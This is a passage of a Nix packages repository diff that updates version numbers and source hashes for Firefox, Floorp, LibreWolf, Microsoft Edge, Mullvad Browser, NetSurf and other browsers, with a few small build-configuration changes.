"https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/ne-NP/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/ne-NP/firefox-123.0.1.tar.bz2"; locale = "ne-NP"; arch = "linux-i686"; - sha256 = "1c40693435f64d2d5465bfe7efebec3e93d44d060e17a15b3994feebb7b22092"; + sha256 = "9e222e3428d512f754fa7be13f9c5b9b1949d03810592c65698134319fe9127f"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/nl/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/nl/firefox-123.0.1.tar.bz2"; locale = "nl"; arch = "linux-i686"; - sha256 = "ba86d009f88c4101485b093b6de945c5b610c6b85bfc01f018a1c4b362962dc1"; + sha256 = "6c88d0d8410a80d8da64c2560e7d40b0be263cf27330027d363d04297533bee9"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/nn-NO/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/nn-NO/firefox-123.0.1.tar.bz2"; locale = "nn-NO"; arch = "linux-i686"; - sha256 = "3678a4db0b45b17d259450b6604439b55350ff2893d9e248a9806c44b69d13ad"; + sha256 = "e251ca0643c922de34080b5d47d6e1e3e2695bdfcaa0f22579b5d37ddda0a56a"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/oc/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/oc/firefox-123.0.1.tar.bz2"; locale = "oc"; arch = "linux-i686"; - sha256 = "defd7b804c3f9e1fe461db1fd64c34c0ff67b90782257bbece440c08172f87df"; + sha256 = "0891cbd391fa1cc972df92a89e24c50ba39f905670b1c96f8023715c38ee63a2"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/pa-IN/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/pa-IN/firefox-123.0.1.tar.bz2"; locale = "pa-IN"; arch = "linux-i686"; - sha256 = "8f934f3cfd335cd46c9be9341d43bdfcb6faeff2bb6bcdb4b62b28a89f071163"; + sha256 = "0ce36b90683326a70c518a461a21410604c7e5d8b8c330a6ae8fa24fd96ead9b"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/pl/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/pl/firefox-123.0.1.tar.bz2"; locale = "pl"; arch = "linux-i686"; - sha256 = "23040ccf99acedb9c43e085d908abf90a9c2900889fa29aabc376e5ab5cf201e"; + sha256 = "12d081dd2db9b2f067c23bd4586c70ac6b2ab342f8b2daf9c47c69a8824d99ac"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/pt-BR/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/pt-BR/firefox-123.0.1.tar.bz2"; locale = "pt-BR"; arch = "linux-i686"; - sha256 = "ee82f5af259ff705e2aac90aedc6625dec39858b7ac09091026ca3211b1a2774"; + sha256 = "cca7fb5f3d0117cc1ab9c475cdcff3a914c46669ae45c13f1973950a416443e5"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/pt-PT/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/pt-PT/firefox-123.0.1.tar.bz2"; locale = "pt-PT"; arch = "linux-i686"; - sha256 = "c98a69e2df896b6214dcfb1ede0bcc7ccd104937f621bc85c137d7b64f348e6b"; + sha256 = "3f6c4b13ceed4899e3c0a2831be5b8e580e9e022216bf2995100aacb6d4ccf83"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/rm/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/rm/firefox-123.0.1.tar.bz2"; locale = "rm"; arch = "linux-i686"; - sha256 = "05f81db7c1781a5ba8453afd44adff343985e666b91f7a07a782b57680296534"; + sha256 = "b0d7f4c906938c4b38a842d42dcee275d2cf34784090e77e4bf7e9273255b47c"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/ro/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/ro/firefox-123.0.1.tar.bz2"; locale = "ro"; arch = "linux-i686"; - sha256 = "14609104e99ca7dab6f9b1fa839509e58f57a99c9ba9275e04a2d1e54769980d"; + sha256 = "f18dae01578c1785bd47ba00098e27e4380c16568f07d4efef2cd52c806b0af0"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/ru/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/ru/firefox-123.0.1.tar.bz2"; locale = "ru"; arch = "linux-i686"; - sha256 = "90b3c054d9759365ff51334d46006837ccaf74f1151f2963e3f093f307a5b5e8"; + sha256 = "5dddfc399d856944eb168c1a800b8f254dde1fb0c63d43cd39002c923c30928e"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/sat/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/sat/firefox-123.0.1.tar.bz2"; locale = "sat"; arch = "linux-i686"; - sha256 = "5b53e9ceca6bec9e2ff07813d4d9a1733dd75bfbe7e80a688ccd761f86c615d0"; + sha256 = "ca5df0b13d79458eab3790af54c5bb2cc4b9131109386fe274f69e313efd002e"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/sc/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/sc/firefox-123.0.1.tar.bz2"; locale = "sc"; arch = "linux-i686"; - sha256 = "9f4ef95620876739ad590f7f0c406eef650114f1ebfe77ef9c9ab3434711489a"; + sha256 = "e570d69137e5a4bf075c20241fe3eed7f259ebd1c3c4dde44923cf7673adffb1"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/sco/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/sco/firefox-123.0.1.tar.bz2"; locale = "sco"; arch = "linux-i686"; - sha256 = "d8503bc0fdc4eb7a0468f58d065f42c304b4badd032bd6d20d539924a4d89e59"; + sha256 = "dc9f7e388d547b2e651ef4046ba4e2d1575b7aac221c72d07c64730b94f6e27f"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/si/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/si/firefox-123.0.1.tar.bz2"; locale = "si"; arch = "linux-i686"; - sha256 = "9988e5f7d55c2c5b08207c4bf94809a53387f05835e0e54e4e26965823809338"; + sha256 = "a111f53656d3a35f8e26a6d31e8abb37540fccf2d0765eb072c93aaef1542275"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/sk/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/sk/firefox-123.0.1.tar.bz2"; locale = "sk"; arch = "linux-i686"; - sha256 = "0adc99fb2eba6946e95df1e9321f2b72799a473250f8b00def8c949f0488f61c"; + sha256 = "d87b48cac01b8bfdf956be8a35aeec7a385b00d3b4f263c7bafadfd8d8a3ed42"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/sl/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/sl/firefox-123.0.1.tar.bz2"; locale = "sl"; arch = "linux-i686"; - sha256 = "2f123577501c774fe9a1b9d8c75aea79de4abd17d38bec872bf9d8888c28af59"; + sha256 = "dc65b040c45f0859644f5d29266601417be528fbdc78dd8b91ec936b1441aed9"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/son/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/son/firefox-123.0.1.tar.bz2"; locale = "son"; arch = "linux-i686"; - sha256 = "7cf067d05270b6578b2ee18e397310714b16af4b8575449c25386a4b283d576a"; + sha256 = "edfc5fdabc404c51686cb35e5e1c325de769189a3bf1cede45feccd4d17b1569"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/sq/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/sq/firefox-123.0.1.tar.bz2"; locale = "sq"; arch = "linux-i686"; - sha256 = "a4410f567b1f0be814813475a008ed8351b81e281fd56c3600fee2e82f376d53"; + sha256 = "85ce21ca1bc5a84b3a91cb9f79782a6622983a149432a869117e3c1d7166aa06"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/sr/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/sr/firefox-123.0.1.tar.bz2"; locale = "sr"; arch = "linux-i686"; - sha256 = "12bdd341c317fe2e8482b6252d11bb6aa9b1b5fb9d580cd3b29c0d390bfdb313"; + sha256 = "96b4cd3780251fb884e8916c43d4ab8176095d9212471808f5a55a590921d2fe"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/sv-SE/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/sv-SE/firefox-123.0.1.tar.bz2"; locale = "sv-SE"; arch = "linux-i686"; - sha256 = "401bd2e9b6c111c073b47d211ff675875bd81702d69348ea984ce1d73c488ed1"; + sha256 = "d88af89af095662713201c1b799b3d93dfb71d7b4842b860a7abb8909861b8c9"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/szl/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/szl/firefox-123.0.1.tar.bz2"; locale = "szl"; arch = "linux-i686"; - sha256 = "8b5bdbe0da8d313467c593214619f82519628dd5437b26a75512d445cba9d487"; + sha256 = "94ce3d48f9fae7a61e4b87b1afec13ea3ea1b3ad746662efd3b19bf6a19ae167"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/ta/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/ta/firefox-123.0.1.tar.bz2"; locale = "ta"; arch = "linux-i686"; - sha256 = "28353ecdd5bcab284e72d75cb1f941fb544647a8b9d7414adb7340a069c974ce"; + sha256 = "032d5b035463d250471037f9d7b7acc6b437e77730994a80bb85a504d9835a20"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/te/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/te/firefox-123.0.1.tar.bz2"; locale = "te"; arch = "linux-i686"; - sha256 = "ee22377e923bd420f7ecf7be062f05b4148c8b0cee1d32653ae7e1dc351b1693"; + sha256 = "a9a49a318b5fb6f172d5ad8cbf57b201efed0637691d9938651cbfea84606ba3"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/tg/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/tg/firefox-123.0.1.tar.bz2"; locale = "tg"; arch = "linux-i686"; - sha256 = "737dcddc4af3038ea8e5efb410b7207d51338e074012416a5059019604bbb433"; + sha256 = "129f5ab858cdc67eee80a07bf2ec60bb3f5fa3be6b575306b1a36111c67b80c0"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/th/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/th/firefox-123.0.1.tar.bz2"; locale = "th"; arch = "linux-i686"; - sha256 = "3a9e64df862df2856372473d958748a1769eddb113bc59e3962f6e4e079ee392"; + sha256 = "d320639cdbf2d5af261f5e5f9765e77b025ea3a182f8bcf1864a0a84eb28500a"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/tl/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/tl/firefox-123.0.1.tar.bz2"; locale = "tl"; arch = "linux-i686"; - sha256 = "44859c949a37ab3155ca30f1fe072f156da980c982db889de92a9a36c416f64d"; + sha256 = "6392898dfc91d49af03e7ad08a6652d15b98c4a95e1524f0a96eeace0438db4b"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/tr/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/tr/firefox-123.0.1.tar.bz2"; locale = "tr"; arch = "linux-i686"; - sha256 = "4d35be66330b611ffd7eb2202498bbc11545c29bbc0819b5603d6185918851c5"; + sha256 = "95023851d7b4326a1bcbd457d0deb043423d3a075ff64b26872ea2a6c39ffdce"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/trs/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/trs/firefox-123.0.1.tar.bz2"; locale = "trs"; arch = "linux-i686"; - sha256 = "b97c43e287b01b4068cf12c3e3f86314df86f2fb64a9adeedf5123bc0c68abac"; + sha256 = "9f0e816e6a36ac93e12bd64b7ccc5a2edaedfeb8bffaa53d0c023b721462b05a"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/uk/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/uk/firefox-123.0.1.tar.bz2"; locale = "uk"; arch = "linux-i686"; - sha256 = "37169aa34b014f1472cab9b9cb35cf47d20d5e060b543364bf74c4fe1c226d16"; + sha256 = "601e88f9261025196e0c203cfefbdbea9760ff36f94bfdd94eb2597483bfd535"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/ur/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/ur/firefox-123.0.1.tar.bz2"; locale = "ur"; arch = "linux-i686"; - sha256 = "f52f30613d9ab195cabdf5f31d50b3232e2c0fd905d9e57d9b9c100276c07805"; + sha256 = "939f6952eb1f9e503e904db41c9d30c71b8cd83a14c2cd153f79984392ffa2d5"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/uz/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/uz/firefox-123.0.1.tar.bz2"; locale = "uz"; arch = "linux-i686"; - sha256 = "33ddafa1d0f02ecbcad705ce0863f99e83aace8d44a115a643b3e49dc94aa624"; + sha256 = "c4d0ce34a4f8a735dff11e7dfabca8257d76b92677a8297c354bd60f10fee86d"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/vi/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/vi/firefox-123.0.1.tar.bz2"; locale = "vi"; arch = "linux-i686"; - sha256 = "6b167ea7ed46a891d2be3b957920a53152284144cea5de538c6ad1a3e8d2c42f"; + sha256 = "0fc59fca1064caf257a8b3154d2e73e9adb037e3045a8e0516bec9aecc79b2db"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/xh/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/xh/firefox-123.0.1.tar.bz2"; locale = "xh"; arch = "linux-i686"; - sha256 = "d4feaa8a5fbedbff6b897484ca636e15a9235f67c1eb1eee52ffccaebb2e3bfa"; + sha256 = "553833a73134ce07af1215b6af08eb7b2b1e2a8dad979c0a49a276acc7c79826"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/zh-CN/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/zh-CN/firefox-123.0.1.tar.bz2"; locale = "zh-CN"; arch = "linux-i686"; - sha256 = "5ded51e830879a1065f9768e0206874f154e82019d06e37e6ca73a10e1110c35"; + sha256 = "7be0b31305dfece1f34920186b78405468e91f26cd05dd2162b79e64b7ae98d4"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/zh-TW/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/zh-TW/firefox-123.0.1.tar.bz2"; locale = "zh-TW"; arch = "linux-i686"; - sha256 = "22cf838196513e44940be27a6f6c9f2b468c9374117be3d24ffba5afebdfda52"; + sha256 = "f63bd2c9cfab6d964922533c0628b681cd5987fb774afad303a88cebd4eafc13"; } ]; } diff --git a/pkgs/applications/networking/browsers/firefox/packages.nix b/pkgs/applications/networking/browsers/firefox/packages.nix index 2424b8f8fb351..bbeab6f512b11 100644 --- a/pkgs/applications/networking/browsers/firefox/packages.nix +++ b/pkgs/applications/networking/browsers/firefox/packages.nix @@ -3,10 +3,10 @@ { firefox = buildMozillaMach rec { pname = "firefox"; - version = "122.0.1"; + version = "123.0.1"; src = fetchurl { url = "mirror://mozilla/firefox/releases/${version}/source/firefox-${version}.source.tar.xz"; - sha512 = "1d4fe1ed351edd748ede2ef6448798a32de9ed7a075a54a7ed5f7baa7b0c4c7f932c2e29f443c9066829e39f22a1dc94be5d00cc994193e949b72aa4a1c8ba41"; + sha512 = "e9af61c1ca800edd16ab7a0d24c9a36bbb34813ed0a11ff62389aa38fa83deba394bca5d95cdaad55ad29ffa3c0e5d3dd15ac1099f7fa3649f4b6c835b7498c2"; }; extraPatches = [ @@ -33,11 +33,11 @@ firefox-beta = buildMozillaMach rec { pname = "firefox-beta"; - version = "121.0b9"; + version = "124.0b8"; applicationName = "Mozilla Firefox Beta"; src = fetchurl { url = "mirror://mozilla/firefox/releases/${version}/source/firefox-${version}.source.tar.xz"; - sha512 = "a107ba7127f40763325335136c5aeaf6d873dd9ca1c8ca95d93e96b377b41a0974056c84e8323c51ed57e01a2e4ef9996ef2ee2d804053aa2226bd837026523a"; + sha512 = "8f3564169be29a5456c2e3fee22c0fb7146caf4c13770a8c32dd9bcc667410a90135b634598fc243e088c1b078ab31470ceb2fc3557c13221414bf8ba518c67b"; }; meta = { @@ -62,13 +62,13 @@ firefox-devedition = buildMozillaMach rec { pname = "firefox-devedition"; - version = "121.0b9"; + version = "124.0b8"; applicationName = "Mozilla Firefox Developer Edition"; requireSigning = false; branding = "browser/branding/aurora"; src = fetchurl { url = "mirror://mozilla/devedition/releases/${version}/source/firefox-${version}.source.tar.xz"; - sha512 = "732c2b3f1e47512bee9af696e8763ce13b39497a6ec9af0de9904ce4f55b03bc799e628e17e84ce7062ebd5a7dc50290fbbfa17b0f41622ce5088f1d548897b5"; + sha512 = "7aa937b7d41fce7b8ccd3e33a68c7d85a05a2c6a8c3ff4891b8731e335c4ac3b03838c9056ac7fc1f28b5a0de04188c8126f6725a3d7f544f5854d53595688a6"; }; meta = { @@ -94,11 +94,11 @@ firefox-esr-115 = buildMozillaMach rec { pname = "firefox-esr-115"; - version = "115.7.0esr"; + version = "115.8.0esr"; applicationName = "Mozilla Firefox ESR"; src = fetchurl { url = "mirror://mozilla/firefox/releases/${version}/source/firefox-${version}.source.tar.xz"; - sha512 = "d468d8ef117d76e0660c5359c3becf0502354c61bdaaeb4137d86f52b50143abec2ac4578af69afa5670700b57efff1c7323ca23e3339a9eaaa888dee7e8e922"; + sha512 = "4b8c06b5eb3617700a72aaad8831d703a537fe600740f1acb8377bd0ce198a199938603fd7e6b2007671a578dfb24aa8f5c031c6c1ccf15d4a34562679eaa883"; }; meta = { diff --git a/pkgs/applications/networking/browsers/floorp/default.nix b/pkgs/applications/networking/browsers/floorp/default.nix index 099e9fcde4b63..8701f8d7795b3 100644 --- a/pkgs/applications/networking/browsers/floorp/default.nix +++ b/pkgs/applications/networking/browsers/floorp/default.nix @@ -7,26 +7,26 @@ ((buildMozillaMach rec { pname = "floorp"; - packageVersion = "11.9.0"; + packageVersion = "11.10.5"; applicationName = "Floorp"; binaryName = "floorp"; + branding = "browser/branding/official"; # Must match the contents of `browser/config/version.txt` in the source tree - version = "115.7.0"; + version = "115.8.0"; src = fetchFromGitHub { owner = "Floorp-Projects"; repo = "Floorp"; fetchSubmodules = true; rev = "v${packageVersion}"; - hash = "sha256-Mk/5bkaSLQYFFGhCSjVho8CUilZSYDGarnIt4Wg9/6g="; + hash = "sha256-uKgN74xn0v86E/YfqbJNnMIR3gS+3dhdgLJ5VUerurQ="; }; extraConfigureFlags = [ "--with-app-name=${pname}" "--with-app-basename=${applicationName}" - "--with-branding=browser/branding/official" - "--with-distribution-id=app.floorp.Floorp" + "--with-distribution-id=one.ablaze.floorp" "--with-unsigned-addon-scopes=app,system" "--allow-addon-sideload" ]; @@ -41,12 +41,19 @@ # not in `badPlatforms` because cross-compilation on 64-bit machine might work. maxSilent = 14400; # 4h, double the default of 7200s (c.f. #129212, #129115) license = lib.licenses.mpl20; + mainProgram = "floorp"; }; tests = [ nixosTests.floorp ]; }).override { + # Upstream build configuration can be found at + # .github/workflows/src/linux/shared/mozconfig_linux_base privacySupport = true; webrtcSupport = true; enableOfficialBranding = false; + googleAPISupport = true; + mlsAPISupport = true; }).overrideAttrs (prev: { + MOZ_DATA_REPORTING = ""; MOZ_REQUIRE_SIGNING = ""; + MOZ_TELEMETRY_REPORTING = ""; }) diff --git a/pkgs/applications/networking/browsers/gmni/default.nix b/pkgs/applications/networking/browsers/gmni/default.nix index 4bc4e360120fd..51dc9a3df53d2 100644 --- a/pkgs/applications/networking/browsers/gmni/default.nix +++ b/pkgs/applications/networking/browsers/gmni/default.nix @@ -14,6 +14,14 @@ stdenv.mkDerivation rec { nativeBuildInputs = [ scdoc ]; buildInputs = [ bearssl ]; + # Fix build on `gcc-13`: + # inlined from 'xt_end_chain' at src/tofu.c:82:3, + # ...-glibc-2.38-27-dev/include/bits/stdio2.h:54:10: error: '__builtin___snprintf_chk' specified bound 4 exceeds destination size 3 [-Werror=stringop-overflow] + # + # The overflow will not happen in practice, but `snprintf()` gets + # passed one more byte than available. + hardeningDisable = [ "fortify3" ]; + meta = with lib; { description = "A Gemini client"; homepage = "https://git.sr.ht/~sircmpwn/gmni"; diff --git a/pkgs/applications/networking/browsers/librewolf/default.nix b/pkgs/applications/networking/browsers/librewolf/default.nix index 004746c2166fa..0e6ba888015ed 100644 --- a/pkgs/applications/networking/browsers/librewolf/default.nix +++ b/pkgs/applications/networking/browsers/librewolf/default.nix @@ -16,7 +16,7 @@ in meta = { description = "A fork of Firefox, focused on privacy, security and freedom"; homepage = "https://librewolf.net/"; - maintainers = with lib.maintainers; [ squalus ]; + maintainers = with lib.maintainers; [ dotlambda squalus ]; platforms = lib.platforms.unix; badPlatforms = lib.platforms.darwin; broken = stdenv.buildPlatform.is32bit; # since Firefox 60, build on 32-bit platforms fails with "out of memory". diff --git a/pkgs/applications/networking/browsers/librewolf/src.json b/pkgs/applications/networking/browsers/librewolf/src.json index 357868b665fb0..40f22d2096f62 100644 --- a/pkgs/applications/networking/browsers/librewolf/src.json +++ b/pkgs/applications/networking/browsers/librewolf/src.json @@ -1,15 +1,15 @@ { - "packageVersion": "122.0-2", + "packageVersion": "123.0-1", "source": { - "rev": "122.0-2", - "sha256": "139vqa0czhbsg8naz75pcf5d8dql30slwrn4l8hkr4r1s1mslyq1" + "rev": "123.0-1", + "sha256": "1ic71b9sf6pgvsyinz0r8qhbpkryfdbj7lz6lh02d27xhnw9jd93" }, "settings": { - "rev": "fe568fa26d52fa917c89d735468a17b990a23e2c", - "sha256": "1gska84ib386a1021r1n54mb1a47bqn459v5n26g4wqx3xrma48n" + "rev": "8a499ecdab8a5136faee50aae1fdd48997711de6", + "sha256": "1c12y7b09rrz8zlpar8nnd9k2nvldjqq3cicbc57g6s1npnf8rz6" }, "firefox": { - "version": "122.0", - "sha512": "619b735c16970207f3f8fb31dd2350a5e665a802c30501c89aee4817b8b0f7f466da93c66ab238e94967587e538e6858934b18164ff312dbdbfbc3b2bf8bd824" + "version": "123.0", + "sha512": "a19567a13e1b663e538c4af17491146adad1f0ab977995e8da9ce9ed428008ad20902dee4efb82d54e1319a0e31768609696bc822563d75732b622760129d8bb" } } diff --git a/pkgs/applications/networking/browsers/links2/default.nix b/pkgs/applications/networking/browsers/links2/default.nix index faefc91aa3e7b..f032d54db348a 100644 --- a/pkgs/applications/networking/browsers/links2/default.nix +++ b/pkgs/applications/networking/browsers/links2/default.nix @@ -12,7 +12,7 @@ stdenv.mkDerivation (finalAttrs: { pname = "links2"; src = fetchurl { - url = "${finalAttrs.meta.homepage}/download/links-${finalAttrs.version}.tar.bz2"; + url = "http://links.twibright.com/download/links-${finalAttrs.version}.tar.bz2"; hash = "sha256-IqqWwLOOGm+PftnXpBZ6R/w3JGCXdZ72BZ7Pj56teZg="; }; diff --git a/pkgs/applications/networking/browsers/microsoft-edge/browser.nix b/pkgs/applications/networking/browsers/microsoft-edge/browser.nix index 9d3da97fff8ce..a737685190863 100644 --- a/pkgs/applications/networking/browsers/microsoft-edge/browser.nix +++ b/pkgs/applications/networking/browsers/microsoft-edge/browser.nix @@ -180,7 +180,9 @@ stdenv.mkDerivation rec { --add-flags ${lib.escapeShellArg commandLineArgs} ''; - passthru.updateScript = ./update.py; + # We only want automatic updates for stable, beta and dev will get updated by the same script + # and are only used for testing. + passthru = lib.optionalAttrs (channel == "stable") { updateScript = ./update.py; }; meta = with lib; { homepage = "https://www.microsoft.com/en-us/edge"; diff --git a/pkgs/applications/networking/browsers/microsoft-edge/default.nix b/pkgs/applications/networking/browsers/microsoft-edge/default.nix index 62222a80553b2..784e89adc6292 100644 --- a/pkgs/applications/networking/browsers/microsoft-edge/default.nix +++ b/pkgs/applications/networking/browsers/microsoft-edge/default.nix @@ -1,20 +1,20 @@ { - stable = import ./browser.nix { - channel = "stable"; - version = "121.0.2277.113"; - revision = "1"; - hash = "sha256-VbWM0xC9OlumTf3lBhjd5tdkIx2SGQPf3rhin+rrQvA="; - }; beta = import ./browser.nix { channel = "beta"; - version = "122.0.2365.16"; + version = "122.0.2365.59"; revision = "1"; - hash = "sha256-SeLX7UibXd1nOhxWwMuUTCKK4GkN2TmJPesWhLwCD6A="; + hash = "sha256-hs6NHAdqji5Cg1ReGWqalFHv6wyRlyclssyc0cxM+ZU="; }; dev = import ./browser.nix { channel = "dev"; - version = "123.0.2380.1"; + version = "123.0.2420.6"; + revision = "1"; + hash = "sha256-fX6lxhJstz2cZZODu7xRe1fez8WTXqlYNgsMhIVTLaU="; + }; + stable = import ./browser.nix { + channel = "stable"; + version = "122.0.2365.59"; revision = "1"; - hash = "sha256-SBlHXURiPoC5Q7wi67tgnuV2PUw4ffniGq6kmOZtIf0="; + hash = "sha256-LbyipfA5TZWSZu1jeUykGZ2FXwt9rZ7ak7mmryXRnMQ="; }; } diff --git a/pkgs/applications/networking/browsers/microsoft-edge/update.py b/pkgs/applications/networking/browsers/microsoft-edge/update.py index 616dc09995051..724a83d09d543 100755 --- a/pkgs/applications/networking/browsers/microsoft-edge/update.py +++ b/pkgs/applications/networking/browsers/microsoft-edge/update.py @@ -31,7 +31,7 @@ def latest_packages(packages: bytes): old_package = latest_packages[channel] if old_package.get_version() < package.get_version(): # type: ignore latest_packages[channel] = package - return latest_packages + return OrderedDict(sorted(latest_packages.items(), key=lambda x:x[0])) def nix_expressions(latest: dict[str, Packages]): diff --git a/pkgs/applications/networking/browsers/mullvad-browser/default.nix b/pkgs/applications/networking/browsers/mullvad-browser/default.nix index 8b1ddb91fcc65..c74677490d5e1 100644 --- a/pkgs/applications/networking/browsers/mullvad-browser/default.nix +++ b/pkgs/applications/networking/browsers/mullvad-browser/default.nix @@ -90,7 +90,7 @@ let ++ lib.optionals mediaSupport [ ffmpeg ] ); - version = "13.0.9"; + version = "13.0.10"; sources = { x86_64-linux = fetchurl { @@ -102,7 +102,7 @@ let "https://tor.eff.org/dist/mullvadbrowser/${version}/mullvad-browser-linux-x86_64-${version}.tar.xz" "https://tor.calyxinstitute.org/dist/mullvadbrowser/${version}/mullvad-browser-linux-x86_64-${version}.tar.xz" ]; - hash = "sha256-TAtBlSkfpqsROq3bV9kwDYIJQAXSVkwxQwj3wIYEI7k="; + hash = "sha256-+8b3K3XLSPlndR12KNUH0lsPquhTupxQrLBuSEGac7Y="; }; }; diff --git a/pkgs/applications/networking/browsers/netsurf/browser.nix b/pkgs/applications/networking/browsers/netsurf/browser.nix index d9df75b00c2ba..0297301096d63 100644 --- a/pkgs/applications/networking/browsers/netsurf/browser.nix +++ b/pkgs/applications/networking/browsers/netsurf/browser.nix @@ -5,12 +5,14 @@ , check , curl , expat +, gperf , gtk2 , gtk3 , libXcursor , libXrandr , libidn , libjpeg +, libjxl , libpng , libwebp , libxml2 @@ -44,11 +46,11 @@ stdenv.mkDerivation (finalAttrs: { pname = "netsurf"; - version = "3.10"; + version = "3.11"; src = fetchurl { url = "http://download.netsurf-browser.org/netsurf/releases/source/netsurf-${finalAttrs.version}-src.tar.gz"; - hash = 